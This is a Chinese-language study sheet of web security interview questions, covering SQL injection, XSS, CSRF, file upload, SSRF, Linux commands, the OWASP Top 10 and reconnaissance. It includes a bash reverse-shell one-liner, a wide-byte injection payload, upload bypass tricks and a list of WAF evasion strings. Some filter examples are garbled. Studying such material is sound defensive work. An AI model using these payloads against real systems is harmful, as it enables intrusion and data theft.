SQL注入
注入漏洞原理
攻击者利用Web应用程序中构建动态SQL查询的漏洞缺陷,在用户输入字段中插入恶意代码,欺骗数据库执行SQL命令,从而窃取、篡改或破坏各类敏感数据,甚至是在数据库主机上执行危险的系统级命令。
注入防护
1.对输入的特殊字符进行转义处理
2.使用白名单来规范化输入验证方法
3.对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
4.服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除
注入类型
联合注入:
将多个SELECT语句的结果合并到一个结果集中
布尔盲注:
Web的页面的仅仅会返回True和False,那么布尔盲注就是根据页面返回的True或者是False来得到数据库中的相关信息
常用函数:
AND
和 OR
: 用于构造布尔表达式,以判断条件是否成立。
LEFT()
和 RIGHT()
: 用于从左或右提取字符串的指定长度。
LENGTH()
或 LEN()
: 用于获取字符串的长度,便于逐字符枚举。
时间盲注:
时间盲注的一般思路是延迟注入,就是利用sleep()或benchmark()等函数让mysql执行时间变长并结合判断条件语句if(expr1,expr2,expr3),然后通过页面的响应时间长短来判断语句返回的值是True还是False,从而猜解一些未知的字段
宽字节注入:
宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。
PHP中编码为GBK,函数执行添加的是ASCI编码,MYSOL默认字符集是GBK等
通常我sql注入会输入id=1'或id=1''进行测试,如果数据库过滤不严格就会产生报错,宽字节注入会在 ' 前加入 \,加入反斜线之后,起到一个转义作用,这样,存在的 ' 就会失去注入的功能。
我利用宽注入的原理,输入id=1%df',页面就会发生报错,这是因为GBK编码认为一个汉字占两个字节,\的url编码是%5C,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,\自动消失,转义作用在此失效。重新构造出来的汉字叫是真实存在但是浏览器不能很好识别的一个汉字。
理论上可以不一定要使用%df,像%81 、%a1经测试也是可以实现的,只要能够重新构造出一个真实存在且不能被浏览器很好识别的汉字,并且编码能够包含%5c使\失效的字符都可以。
XSS
原理
反射型:
用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 需要诱使用户“点击”一个恶意链接,才能攻击成功
储存型:
存储型XSS会把用户输入的数据“存储”在服务器端。 这种XSS具有很强的稳定性。
DOM型:
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
型和反射型的区别
反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。 反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。 DOM型:通过修改页面的DOM节点形成的XSS。 DOM-based XSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。 根本区别在我看来是输出点的不同。
CSRF
1.原理
CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认
2.防御
- 验证Referer
- 添加token
和referer做横向对比,谁安全等级高?
token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。 但是token的话,要保证其足够随机且不可泄露。(不可预测性原则)
4.对referer的验证,从什么角度去做?如果做,怎么杜绝问题
对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。 为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。
5.针对token,对token测试会注意哪方面内容,会对token的哪方面进行测试?
-
针对token的攻击,一是对它本身的攻击,重放测试一次性、分析加密规则、校验方式是否正确等,二是结合信息泄露漏洞对它的获取,结合着发起组合攻击
-
信息泄露有可能是缓存、日志、get,也有可能是利用跨站
-
很多跳转登录的都依赖token,有一个跳转漏洞加反射型跨站就可以组合成登录劫持了
-
另外也可以结合着其它业务来描述token的安全性及设计不好怎么被绕过比如抢红包业务之类的
文件上传漏洞
1.原理
由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件
2.常见的上传绕过方式
- 前端js验证:禁用js/burp改包
- 大小写
- 双重后缀名
- 过滤绕过 pphphp->php
3.防护
- 文件上传目录设置为不可执行
- 使用白名单判断文件上传类型
- 用随机数改写文件名和路径
4.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
1.检测
SSRF漏洞的验证方法:
1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 /?image=(地址)的就可能存在SSRF漏洞 4
漏洞的成因 防御 绕过
成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。 利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。 防御:禁止跳转,限制协议,内外网限制,URL限制。 绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dns rebindding。
无回显,怎么操作
跟RCE无回显道理是一样的,两种解决方法:
反向连接(一般SSRF都是用这个反向连接方式,因为SSRF无法写文件):让疑似存在RCE(SSRF)的目标请求外部一个网站,dnslog或者自己用vps python启用一个web服务,当dnslog或者自启用网站能接收到请求信息时,不就代表目标存在RCE(SSRF))
Linux
1.查看当前端口连接的命令有哪些?netstat
和 ss
命令的区别和优缺点
netstat -antp` `ss -l
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
2.反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
bash -i>&/dev/tcp//4444 0>&1
3.通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?
ls /proc
系统信息,硬件信息,内核版本,加载的模块,进程
系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。
/etc/ssh/sshd___config
iptables配置
5.如何一条命令查看文件内容最后一百行
tail -n 100 filename
6.如何查看Linux的进程
(1) ps:(Process Status)的缩写。取得是执行命令时抓取的当前进程状态,不动态变化,当前的进程;ps命令是相当强大的进程查看命令。用该命令可以确定有哪些进程正在运行和运行地状态、进程是否结束、进程有没有僵死、哪些进程占用了过多地资源等等.总之大部分信息均为可以通过执行该命令得到地.
(2) pstree//按树型来查看进程 -c显示PID。树的根节点为pid或init。如果指定了用户名,进程树将以用户所拥有的进程作为根节点。例如循环的fork函数,我们可以通过pstree来查看树的进程;
(3) pgrep firefox//按进程名称查看进程ID
(4) ps -ef|grep defunc ps和grep常用组合可以查找特定的进程。此时可以找出僵尸进程,
(5) top //top是 动态的随着时间的变化而变化,有点类似与windows里的任务管理器,实时显示;按q退出,按h进入帮助;
7.如何查看线程
具体用法是 top -H 加上这个选项,top的每一行就不是显示一个进程,而是一个线程。
top -H
TOP 10 漏洞
TOP 10 漏洞是OWASP(Open Web Application Security Project)每年发布的最常见的网络安全漏洞排名。下面介绍TOP 10漏洞及其原理、检测方式和修复措施。
1)SQL 注入漏洞
原理:攻击者通过构造恶意 SQL 语句注入到应用程序的数据库中,从而获取敏感信息或控制数据库服务器。
检测方式:使用工具或手工输入特殊字符并观察是否有异常响应。
修复措施:采用参数化查询和存储过程等,对用户输入进行严格校验和过滤防止 SQL 注入攻击。
2)XSS(跨站脚本攻击)漏洞
原理:攻击者在网页中插入恶意代码,利用浏览器执行这些代码来窃取用户信息或进行其他攻击。
检测方式:使用工具或手动在输入框中输入特殊字符并查看是否有异常响应。
修复措施:对所有输入输出的内容进行过滤或转义,实现输入输出的安全。
3)CSRF(跨站请求伪造)漏洞
原理:攻击者通过在受害者浏览器上发起伪造的请求,利用受害者身份在应用程序上执行恶意操作。
检测方式:使用工具或手动模拟请求并检查其是否被识别。
修复措施:使用 token 或随机数作为身份认证码,并对来源请求进行有效识别,防止 CSRF 攻击。
4)RCE(远程代码执行)漏洞
原理: 攻击者通过包含恶意序列化对象或计算机网络协议栈上的错误实现来在目标服务器上执行任意代码。
检测方式:使用工具扫描或手动测试可能的输入点,以尝试构造恶意请求并观察是否出现异常响应。
修复措施:限制代码执行权限、加强安全验证、禁用危险函数,限制远程服务访问权限。
5)未授权访问漏洞
原理: 应用程序没有正确实施权限控制,允许攻击者访问并执行不应该被许可的敏感操作。
检测方式:手动测试不同的角色是否能够访问不应该被允许的操作。
修复措施:修改应用程序代码,增加身份认证和权限控制机制、及时更改默认密码等。
6)XML 外部实体注入漏洞
原理:攻击者将外部实体引用注入XML处理器中,从而获取敏感信息或利用业务逻辑漏洞。
检测方式:模拟攻击,检查代码是否存在可注入漏洞。
修复措施:禁止使用解析外部实体、对输入数据进行严格校验、升级库版本支持。
7)命令注入漏洞
原理:攻击者通过在应用程序中插入包含恶意指令的参数来进行攻击,从而实现远程执行命令并获取服务器权限。
检测方式:使用工具或手工输入特殊字符并观察是否有异常响应。
修复措施:用参数化查询代替拼接SQL语句,并对用户输入进行严格过滤和转义。建议使用沙箱技术、限制系统命令行设置等方式防止命令注入攻击。
8)密码猜测漏洞
原理:攻击者通过枚举密码或社交工程手段试图猜测用户密码,从而获取敏感信息或控制帐户。
检测方式:评估密码策略是否有效。
修复措施:设置复杂的密码策略,增加登录失败尝试次数限制,并启用两步验证等措施。
9)不安全反序列化漏洞
原理:攻击者通过发送精心构造的序列化对象来执行未经授权的代码并影响应用程序。
检测方式:应用程序的代码审查,掌握可能受到攻击的反序列化路径。
修复措施:禁止从未知来源加载对象,通过加入白名单/黑名单限制反序列化类型,需要在实际场景中细致考虑。
10)组件未更新漏洞
原理:组件未更新漏洞是指在应用程序或系统中使用了已知存在安全漏洞的第三方组件或库。攻击者可能利用组件的这些漏洞来对系统进行攻击与入侵。
检测方式:
手动检测:直接查看应用程序、插件、库和操作系统版本,并将其与公开已知的漏洞数据库进行比较。
自动化扫描:使用第三方漏洞扫描工具,在应用程序或系统中发现已知组件漏洞。
修复:
检查和更新:记录并评估组件并及时替换已知漏洞组件。
监视漏洞:定期滚动使用组件,维护适当的升级计划,及时发现漏洞和补丁。
安装新版本:下载和安装第三方组件的最新版本,通常这些版本都修复了之前版本的漏洞。
代码审计:通过对组件源代码的分析和审核来检查是否存在其他漏洞,并为必要更新提供数据支持。
网络隔离:可以使用网络隔离技术或虚拟容器来减少外部组件对应用程序或系统的影响。
打点
“打点”通常指通过在目标系统上执行各种测试和扫描来收集关于它的信息,以便评估其安全性和潜在漏洞。
以下是常用的打点技巧:
端口扫描:使用端口扫描工具(如Nmap)来检测目标系统上开放的端口和正在运行的服务。
操作系统指纹识别:使用操作系统识别工具(如P0f)来确定目标系统所运行的操作系统类型和版本。
应用程序指纹识别:使用应用程序识别工具(如Wappalyzer)来发现目标系统中正在运行的Web应用程序、框架、库等信息。
漏洞扫描:使用漏洞扫描器(如OpenVAS或Nessus)来自动地检查目标系统上存在的可能的漏洞或安全威胁。
社会工程学攻击:使用社会工程学攻击技术来伪装成合法的用户,从而获取目标系统上的访问权限或敏感信息。
密码猜测:使用密码破解工具(如John the Ripper或HashCat)来猜测用户名和密码,以获取未授权的访问权。
蠕虫攻击:利用已知的漏洞构造蠕虫攻击代码,自动传播和感染目标网络,以便获得更多的访问权限和控制权。
绕过waf
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举列:union select ---> unIOn SeLEcT
编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举列:union select 1,2,3# =union%0aselect 1\u002c2,3%23
双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举列:UNIunionON ,SELselectECT anandd
换行(\N)绕过
举列:select * from admin where username = \N union select 1,user() from admin
注释符内联注释绕过:
/XXX/,#, -- -,--+, ;
union selecte =/!union/ select
同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格
流量分析
wireshark简单的过滤规则
过滤ip:
过滤源ip地址:==1.1.1.1;
,目的ip地址:==1.1.1.1;
过滤端口:
过滤80端口:==80
,源端口:==80
,目的端口:==80
协议过滤:
直接输入协议名即可,如http协议http
http模式过滤:
过滤get/post包=="GET/POST"
爬虫思路
1.你用过的爬虫框架或者模块有哪些?优缺点?
Scrapy是一个为了爬取网站数据,提取结构性数据而编写的应用框架。 可以应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。。用这个框架可以轻松爬下来如亚马逊商品信息之类的数据。
2.需要登录的网页,如何解决同时限制ip,cookie,session
解决限制IP可以使用代理IP地址池、服务器;不适用动态爬取的情况下可以使用反编译JS文件获取相应的文件,或者换用其它平台(比如手机端)看看是否可以获取相应的json文件。
过期的处理问题?
这时候就需要cookie自动的更新了。通常怎样自动更新cookie呢?这里会用到selenium。
步骤1、 采用selenium自动登录获取cookie,保存到文件;
步骤2、 读取cookie,比较cookie的有效期,若过期则再次执行步骤1;
步骤3、 在请求其他网页时,填入cookie,实现登录状态的保持。